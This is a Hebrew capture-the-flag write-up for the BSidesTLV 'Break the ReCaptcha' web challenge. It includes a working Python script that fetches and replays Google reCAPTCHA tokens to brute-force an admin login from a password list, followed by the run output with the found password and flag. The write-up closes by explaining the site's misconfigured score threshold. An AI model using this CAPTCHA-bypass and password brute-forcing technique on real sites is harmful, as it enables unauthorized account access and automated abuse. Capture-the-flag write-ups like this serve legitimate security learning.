Break the ReCaptcha
- קטגוריה: Web Application
- 500 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
האתר כלל לוגין פשוט, מוגן על ידי ReCaptcha:
באמצעות כלי הפיתוח של הדפדפן, אפשר היה לראות מה קורה מאחורי הקלעים לאחר הכנסת שם משתמש וסיסמא:
רואים כאן קריאה ראשונית ל-anchor, ולאחר מכן קריאות חוזרות ל-reload ו-verify עבור כל ניסיון להכניס סיסמא. נראה היה ש-anchor מחזיר token שמועבר ל-reload, והוא מחזיר מידע שנשלח לאחר מכן ב-verify.
יצרנו סקריפט שמדמה את ההתנהגות הזו, ומנסה את כל הסיסמאות:
import requests
import json
import re
recaptcha_regex = re.compile(r'<input type="hidden" id="recaptcha-token" value="([^"]+)">')
def try_password(password):
s = requests.session()
r = s.get("https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt&co=aHR0cDovL3JlY2FwdGNoYS5jaGFsbGVuZ2VzLmJzaWRlc3Rsdi5jb206ODA.&hl=en&v=v1561357937155&size=invisible")
match = recaptcha_regex.search(r.text)
if match is None:
return None
recaptcha_token = match.group(1)
data = { "reason": "q", "c": recaptcha_token }
r = s.post("https://www.google.com/recaptcha/api2/reload?k=6Lfpb6QUAAAAAIitLDqVlxHB-EceE-d1ujb_6tVt", data = data)
text = r.text
#https://stackoverflow.com/questions/35348234/recaptcha-gets-invalid-json-from-call-to-https-www-google-com-recaptcha-api2-u/36862268#36862268
prefix = ")]}'"
if text.startswith(prefix):
text = text[len(prefix):]
json_obj = json.loads(text)
r = s.post("http://recaptcha.challenges.bsidestlv.com/verify", data = {"username": "admin", "password": password, "token": json_obj[1]})
return r.text
with open("passwords.txt") as f:
for line in f:
password = line.rstrip()
res = try_password(password)
if res != "Username/Password invalid!":
print (password)
print (res)
break
לאחר זמן מה, קיבלנו את הדגל:
root@kali:/media/sf_CTFs/bsidestlv/Break_the_ReCaptcha# python3 solve.py
brandon
BSidesTLV{D0ntF0rgetT0Ch3ckTh3Sc0r3!}
איך הצלחנו לעבוד כל כך בקלות על שירות אמיתי של CAPTCHA? לפי התיעוד של השירות, כל בקשה מקבלת ציון כלשהו שמעיד על הסיכוי שמדובר בבקשה של בוט. האחריות היא על האתר עצמו לקבוע את הסף שמתחתיו הבקשה תחסם, לפי שיקוליו. נראה שבמקרה שלנו, הסף היה אפסי ולכן גם בקשות של בוט מאוד לא מתוחכם לא נחסמו.